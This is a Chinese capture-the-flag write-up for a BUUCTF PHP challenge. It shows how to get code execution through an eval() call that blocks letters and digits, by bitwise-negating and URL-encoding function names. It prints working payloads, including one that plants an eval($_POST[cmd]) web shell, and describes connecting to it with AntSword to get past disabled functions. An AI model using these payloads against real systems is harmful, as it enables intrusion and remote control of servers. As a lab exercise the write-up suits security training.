BUUCTF-WEB 【极客大挑战 2019】RCE ME 1

考点:无字母数字 getshell

打开

开门见山,直接给出源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

看到这道题,我就想到p神。首先,这道题是出再php7环境下,php7和php5 有不一样的解法。

两个条件

传入值得长度不能大于40位

1
if(strlen($code)>40)

传入的值 不能存在 字母 数字

1
preg_match("/[A-Za-z0-9]+/",$code))

php7前是不允许用($a)(); 这种方法来执行动态函数。php7支持了该方式。

1
2
3
4
5
6
$c = 'phpinfo';

# 对 phpinfo 进行取反 再url编码输出
echo urlencode(~$c);

// %8F%97%8F%96%91%99%90

去请求

1
2
GET:
?code=(~%8F%97%8F%96%91%99%90)();

image-20210422162847610

能够成功执行。这里可以查看disable_functions禁用了哪些函数。

image-20210422163037856

常用的 system exec shell_exec 都被禁用。

assert 来 执行 eval($_POST[cmd])

1
2
3
4
5
6
$str1 = 'assert';
echo urlencode(~$str1);
$str2 = '(eval($_POST[cmd]))';
echo '\n';
echo urlencode(~$str2);
// %9E%8C%8C%9A%8D%8B\n%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
1
2
3
4
GET:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
POST:
cmd=phpinfo();

回显

image-20210422163559516

蚁剑连接

image-20210422163715875

可以在根目录下看到flag 文件,但是不能打开,需要用到蚁剑的插件。

image-20210422163841462

因为许多函数被禁用,终端不能执行命令,用这个插件可以在终端中成功执行命令。

image-20210422163950841

总结